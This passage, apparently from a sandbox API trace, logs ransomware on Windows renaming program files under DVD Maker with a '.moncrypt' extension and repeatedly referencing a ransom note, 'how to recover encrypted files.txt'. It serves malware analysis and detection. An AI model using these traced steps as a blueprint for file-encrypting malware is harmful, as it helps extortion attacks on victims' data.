0x440004 [0057.211] GlobalUnlock (hMem=0x440004) returned 0 [0057.211] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.211] CharLowerBuffW (in: lpsz="rtstreamsource.ax", cchLength=0x11 | out: lpsz="rtstreamsource.ax") returned 0x11 [0057.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.212] CharLowerBuffW (in: lpsz=".ax", cchLength=0x3 | out: lpsz=".ax") returned 0x3 [0057.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ax", cchWideChar=3, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ax", lpUsedDefaultChar=0x0) returned 3 [0057.212] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax", lpFindFileData=0x18f184 | out: lpFindFileData=0x18f184*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 0x54e1c0 [0057.212] FileTimeToLocalFileTime (in: lpFileTime=0x18f198, lpLocalFileTime=0x18f0b0 | out: lpLocalFileTime=0x18f0b0) returned 1 [0057.212] FileTimeToDosDateTime (in: lpFileTime=0x18f0b0, lpFatDate=0x18f166, lpFatTime=0x18f164 | out: lpFatDate=0x18f166, lpFatTime=0x18f164) returned 1 [0057.212] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0057.212] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax", dwFileAttributes=0x20) returned 0 [0057.213] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18e0c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.213] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax.moncrypt" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax.moncrypt")) returned 0 [0057.214] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.214] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.214] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.214] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.214] GlobalUnlock (hMem=0x440004) returned 0 [0057.214] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.214] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.214] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.214] GlobalUnlock (hMem=0x440004) returned 0 [0057.214] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.214] GlobalUnlock (hMem=0x44000c) returned 0 [0057.214] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.214] CharLowerBuffW (in: lpsz="SecretST.TTF", cchLength=0xc | out: lpsz="secretst.ttf") returned 0xc [0057.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.214] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.215] CharLowerBuffW (in: lpsz=".TTF", cchLength=0x4 | out: lpsz=".ttf") returned 0x4 [0057.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ttf", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ttfw", lpUsedDefaultChar=0x0) returned 4 [0057.215] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.215] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.215] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.215] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.215] GlobalUnlock (hMem=0x44000c) returned 0 [0057.215] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.215] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.215] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.215] GlobalUnlock (hMem=0x44000c) returned 0 [0057.215] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.215] GlobalUnlock (hMem=0x440004) returned 0 [0057.215] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.215] CharLowerBuffW (in: lpsz="soniccolorconverter.ax", cchLength=0x16 | out: lpsz="soniccolorconverter.ax") returned 0x16 [0057.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.216] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.216] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.216] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.216] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.216] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.216] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.216] CharLowerBuffW (in: lpsz=".ax", cchLength=0x3 | out: lpsz=".ax") returned 0x3 [0057.216] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ax", cchWideChar=3, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ax", lpUsedDefaultChar=0x0) returned 3 [0057.216] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\soniccolorconverter.ax", lpFindFileData=0x18f184 | out: lpFindFileData=0x18f184*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 0x54e1c0 [0057.216] FileTimeToLocalFileTime (in: lpFileTime=0x18f198, lpLocalFileTime=0x18f0b0 | out: lpLocalFileTime=0x18f0b0) returned 1 [0057.216] FileTimeToDosDateTime (in: lpFileTime=0x18f0b0, lpFatDate=0x18f166, lpFatTime=0x18f164 | out: lpFatDate=0x18f166, lpFatTime=0x18f164) returned 1 [0057.216] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0057.216] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\soniccolorconverter.ax", dwFileAttributes=0x20) returned 0 [0057.217] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18e0c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.217] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\soniccolorconverter.ax.moncrypt" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax.moncrypt")) returned 0 [0057.217] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.217] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.217] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.217] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.217] GlobalUnlock (hMem=0x440004) returned 0 [0057.217] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.217] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.217] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.217] GlobalUnlock (hMem=0x440004) returned 0 [0057.217] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.217] GlobalUnlock (hMem=0x44000c) returned 0 [0057.217] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.217] CharLowerBuffW (in: lpsz="sonicsptransform.ax", cchLength=0x13 | out: lpsz="sonicsptransform.ax") returned 0x13 [0057.217] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.217] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.217] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.217] CharLowerBuffW (in: lpsz=".ax", cchLength=0x3 | out: lpsz=".ax") returned 0x3 [0057.217] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\sonicsptransform.ax", lpFindFileData=0x18f184 | out: lpFindFileData=0x18f184*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonicsptransform.ax", cAlternateFileName="")) returned 0x54e1c0 [0057.218] FileTimeToLocalFileTime (in: lpFileTime=0x18f198, lpLocalFileTime=0x18f0b0 | out: lpLocalFileTime=0x18f0b0) returned 1 [0057.218] FileTimeToDosDateTime (in: lpFileTime=0x18f0b0, lpFatDate=0x18f166, lpFatTime=0x18f164 | out: lpFatDate=0x18f166, lpFatTime=0x18f164) returned 1 [0057.218] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0057.218] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\sonicsptransform.ax", dwFileAttributes=0x20) returned 0 [0057.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18e0c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.218] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\sonicsptransform.ax.moncrypt" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax.moncrypt")) returned 0 [0057.218] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.218] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.219] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.219] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.219] GlobalUnlock (hMem=0x44000c) returned 0 [0057.219] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.219] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.219] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.219] GlobalUnlock (hMem=0x44000c) returned 0 [0057.219] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.219] GlobalUnlock (hMem=0x440004) returned 0 [0057.219] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.219] CharLowerBuffW (in: lpsz="WMM2CLIP.dll", cchLength=0xc | out: 